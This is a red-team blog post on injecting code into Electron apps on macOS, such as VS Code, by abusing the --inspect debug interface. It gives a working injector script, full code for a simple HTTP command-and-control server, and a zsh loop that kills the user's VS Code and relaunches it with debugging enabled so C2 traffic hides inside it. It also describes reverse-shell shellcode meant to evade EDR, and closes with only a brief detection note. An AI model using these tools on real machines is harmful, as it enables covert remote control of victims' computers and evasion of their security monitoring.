Blogs· 6min January 11, 2023
Process injection in MacOS is a difficult topic: it is well controlled and there are simply no API calls that provide any useful interface for it. As it is a feature that rarely has legitimate use cases, it makes sense from a security perspective to disable it entirely, or at least heavily restrict it under normal user conditions. However, as a red teamer, it is difficult to move from the freedom of process hollowing and remote threads on Windows, to the harsh reality of the MacOS hardened runtime. This is true especially when trying to create hidden C2 channels and evade detection from EDR and XDR software. There is one technique, however, that does not get the recognition it deserves, most probably because it can only target Electron based applications. While this sounds like a big limitation, there are popular applications that can be targeted and are more than likely to be present on the target system such as Slack, Visual Studio Code and Microsoft Teams to only name a few. These applications can all be a target of code injection by abusing Electron's built in remote debug interface.
By using command line switches it is possible to enable remote debugging via the Chrome DevTools Protocol. As an example let's start up Visual Studio Code using the --inspect switch, open a terminal and type:
/Applications/Visual\ Studio\ Code.app/Contents/MacOS/Electron --inspect
After starting up the application we can use Chrome to connect to the debug port. Open Chrome and navigate to:
Now click "Open dedicated DevTools for Node".
We are going to build a simple injector that uses the PyChromeDevTools library (https://github.com/marty90/PyChromeDevTools). Let's try the following:
pip3 install PyChromeDevTools
The contents of the file inject.py is:
import PyChromeDevTools chrome = PyChromeDevTools.ChromeInterface(port=9229) shellcode = ''' console.log("Hacked"); ''' chrome.Runtime.enable(); chrome.Runtime.evaluate(expression=shellcode, contextId=1, includeCommandLineAPI=True)
Start visual studio code with the --inspect switch then run the injector:
Shellcode can come in many different shapes and sizes, this one uses basic Node.js functions to query a C&C server for commands then posts the results back. We are not using any encryption, this is a vanilla reverse shell, but it uses HTTP which makes it stand out a bit less than using port 1337 when looking at network traffic. Adding HTTPS should be trivial, but would require a bit more configuration on the server side.
This is a very (very) basic Python C2 server to use with our shellcode, it uses a custom HTTP handler for sending the commands and receiving output.
#!/usr/bin/python3 import warnings import time from http.server import BaseHTTPRequestHandler, HTTPServer import threading #IP address to listen on hostName = "0.0.0.0" #Port serverPort = 80 cmd = "#" class MyServer(BaseHTTPRequestHandler): def do_GET(self): global cmd self.send_response(200) self.send_header("Content-type", "text/html; charset=utf-8") self.end_headers() self.wfile.write(bytes(cmd, "utf-8")) cmd = "#" def do_POST(self): if True: self.send_response(200) self.send_header("Content-type", "text/html; charset=utf-8") self.end_headers() content = self.rfile.read(int(self.headers["content-length"])) try: content = content.decode('ascii') print(content) except: print("Error parsing response.") self.wfile.write(bytes("", "utf-8")) def log_message(self, format, *args): return def cmdFunc(): global cmd while True: cmd = input("") if __name__ == "__main__": webServer = HTTPServer((hostName, serverPort), MyServer) print("Server started http://%s:%s" % (hostName, serverPort)) try: th = threading.Thread(target=cmdFunc) th.start() webServer.serve_forever() except KeyboardInterrupt: pass th.join() webServer.server_close() print("Server stopped.")
Let's run our C2 server, set our host and port in the injector and run the script. When we type a command we should get our result with a slight delay.
We can check the electron console for our command logged by the shellcode.
This is tricky, we can't just spawn a new instance of Visual Studio Code with debug enabled as the user would probably get suspicious and close it anyway. We have to wait for the user to open VS code and then inject into it. But how do we get the user to start VS Code with debugging enabled? One seemingly stupid but surprisingly effective solution is to create a sort of listener in bash, wait for a VS Code Process to spawn, kill it immediately and replace it with our own that runs with debugging enabled. This may seem like a lot of hassle, but if we are trying to hide our C2 communication in another process this is actually a great way of doing it. We will of course have to rely on the time window while the user keeps the application open, but let's face it, when was the last time we spent less than an hour in VS Code (provided we use it:)).
#!/bin/zsh while : do PID=$(ps uax | grep Visual | grep Electron | grep MacOS | grep -v inspect | cut -d " " -f 5) if ! test -z "$PID" then echo "Killing \$PID" kill -9 $PID /Applications/Visual\ Studio\ Code.app/Contents/MacOS/Electron --inspect & else sleep 1 fi done
The bad news is, currently there is no official way of disabling this feature in Electron apps. The reason for this can be traced back to the Chromium threat model (https://chromium.googlesource.com/chromium/src/+/master/docs/security/faq.md#Why-arent-physically_local-attacks-in-Chromes-threat-model), where local attacks are just not considered.
If you are running an EDR software a good way of preventing and detecting this would be to create a rule that checks process arguments. Unless you develop and debug Electron based apps regularly, any process running with the following should at least generate an alert:
Marcell Molnár is a member of the Offensive Security Team at Form3. He is a regular speaker at local conferences, occasional CTF player and bug bounty hunter. He is enthusiastic about new technologies, but also firmly believes that everything can and should be solved in C.
Blogs · 10 min
Maintaining customer satisfaction during incidents is crucial for any business. In this blogpost, Piotr shares how we leverage Prometheus to expose business metrics in a secure and cost-effective way to keep customers informed and happy during those stressful situations.
May 24, 2023
Blogs · 4 min
Michael Kerrisk is a Linux expert and trainer. He joins us to explain what containers are and deep dive into the four core components of containers: namespaces, capabilities, cgroups and seccomp. He also draws parallels on how they are used by Docker to power container systems as we know them today.
May 17, 2023
Blogs · 5 min
In this post, Michał walks you through a sample setup of the AWS Gateway Load Balancer. We will provision the infrastructure using Terraform, write a simple virtual appliance application and show it all in action. He demonstrates how this service can be used to route network traffic through a virtual appliance where each network packet can be inspected, modified, or dropped.
May 11, 2023